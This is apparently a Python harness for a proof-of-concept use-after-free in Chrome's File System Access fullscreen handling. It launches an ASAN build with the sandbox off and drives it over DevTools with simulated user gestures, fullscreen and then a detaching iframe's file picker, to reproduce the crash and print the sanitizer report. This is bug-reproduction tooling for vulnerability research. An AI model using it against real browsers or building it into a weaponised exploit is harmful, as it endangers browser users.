#!/usr/bin/env python3
"""
Driver for the File System Access ForSecurityDropFullscreen UAF POC.

Starts a local HTTP server, launches the ASAN Chrome build with remote
debugging, then uses the DevTools protocol to deliver the two user gestures
the attack requires (fullscreen + file picker). Captures and prints Chrome's
stderr (ASAN report).
"""
import json, os, shutil, signal, subprocess, sys, threading, time, urllib.request
import websocket  # pip install websocket-client

HERE       = os.path.dirname(os.path.abspath(__file__))
CHROME     = os.environ.get("CHROME", "/chromium/chromium/src/out/asan/chrome")
HTTP_PORT  = 8080
CDP_PORT   = 9222
PROFILE    = "/tmp/chrome-poc-profile"
LOG_PATH   = os.path.join(HERE, "chrome-asan.log")

def start_server():
    return subprocess.Popen([sys.executable, os.path.join(HERE, "server.py"),
                             str(HTTP_PORT)],
                            stdout=subprocess.DEVNULL,
                            stderr=subprocess.DEVNULL)

class CDP:
    def __init__(self, ws_url):
        self.ws = websocket.create_connection(ws_url, timeout=30)
        self.id = 0
    def send(self, method, params=None, session=None):
        self.id += 1
        msg = {"id": self.id, "method": method, "params": params or {}}
        if session: msg["sessionId"] = session
        self.ws.send(json.dumps(msg))
        while True:
            r = json.loads(self.ws.recv())
            if r.get("id") == self.id:
                if "error" in r:
                    raise RuntimeError(f"{method}: {r['error']}")
                return r.get("result", {})
    def wait_event(self, name, session=None, timeout=15):
        end = time.time() + timeout
        while time.time() < end:
            self.ws.settimeout(max(0.1, end - time.time()))
            try: r = json.loads(self.ws.recv())
            except Exception: break
            if r.get("method") == name and (session is None or
                                            r.get("sessionId") == session):
                return r.get("params", {})
        return None

def get_browser_ws():
    for _ in range(120):
        try:
            j = json.load(urllib.request.urlopen(
                f"http://127.0.0.1:{CDP_PORT}/json/version", timeout=1))
            return j["webSocketDebuggerUrl"]
        except Exception:
            time.sleep(0.5)
    raise RuntimeError("DevTools endpoint never came up")

def main():
    shutil.rmtree(PROFILE, ignore_errors=True)
    srv = start_server()
    time.sleep(0.5)

    log = open(LOG_PATH, "wb")
    chrome_cmd = [
        CHROME,
        "--no-first-run", "--no-default-browser-check",
        "--user-data-dir=" + PROFILE,
        "--remote-debugging-port=%d" % CDP_PORT,
        "--remote-allow-origins=*",
        "--enable-logging=stderr", "--v=1",
        "--disable-features=CalculateNativeWinOcclusion",
        "--no-sandbox",
        "about:blank",
    ]
    print("[runner] launching:", " ".join(chrome_cmd))
    chrome = subprocess.Popen(chrome_cmd, stdout=log, stderr=subprocess.STDOUT)

    crashed = threading.Event()
    def watch():
        chrome.wait(); crashed.set()
    threading.Thread(target=watch, daemon=True).start()

    try:
        ws_url = get_browser_ws()
        print("[runner] CDP at", ws_url)
        cdp = CDP(ws_url)

        # Attach to the (single) page target.
        targets = cdp.send("Target.getTargets")["targetInfos"]
        page = next(t for t in targets if t["type"] == "page")
        sess = cdp.send("Target.attachToTarget",
                        {"targetId": page["targetId"], "flatten": True})["sessionId"]
        cdp.send("Page.enable", session=sess)
        cdp.send("Runtime.enable", session=sess)

        url = f"http://127.0.0.1:{HTTP_PORT}/poc.html"
        print("[runner] navigating to", url)
        cdp.send("Page.navigate", {"url": url}, session=sess)
        cdp.wait_event("Page.loadEventFired", session=sess)
        time.sleep(1.0)

        # Gesture 1: enter HTML fullscreen on the main document.
        print("[runner] gesture 1: requestFullscreen()")
        cdp.send("Runtime.evaluate", {
            "expression": "goFullscreen()",
            "userGesture": True, "awaitPromise": True,
        }, session=sess)
        time.sleep(1.5)

        # Gesture 2: from the iframe, call showOpenFilePicker() then detach.
        print("[runner] gesture 2: showOpenFilePicker() from subframe + detach")
        cdp.send("Runtime.evaluate", {
            "expression": "triggerPicker()",
            "userGesture": True,
        }, session=sess)

        # Give the browser process time to hit the UAF and ASAN to dump.
        for _ in range(120):
            if crashed.is_set(): break
            time.sleep(0.25)
        else:
            print("[runner] no crash within 30s")
    finally:
        try: chrome.send_signal(signal.SIGTERM)
        except Exception: pass
        try: srv.terminate()
        except Exception: pass
        time.sleep(2)
        log.close()

    # Show the interesting part of the log.
    with open(LOG_PATH, "r", errors="replace") as f:
        data = f.read()
    if "AddressSanitizer" in data:
        i = data.index("AddressSanitizer")
        print("\n" + "="*70 + "\n[runner] ASAN REPORT:\n" + "="*70)
        print(data[max(0,i-200):i+12000])
        return 0
    print("[runner] no ASAN report found in log; tail follows")
    print(data[-4000:])
    return 1

if __name__ == "__main__":
    sys.exit(main())
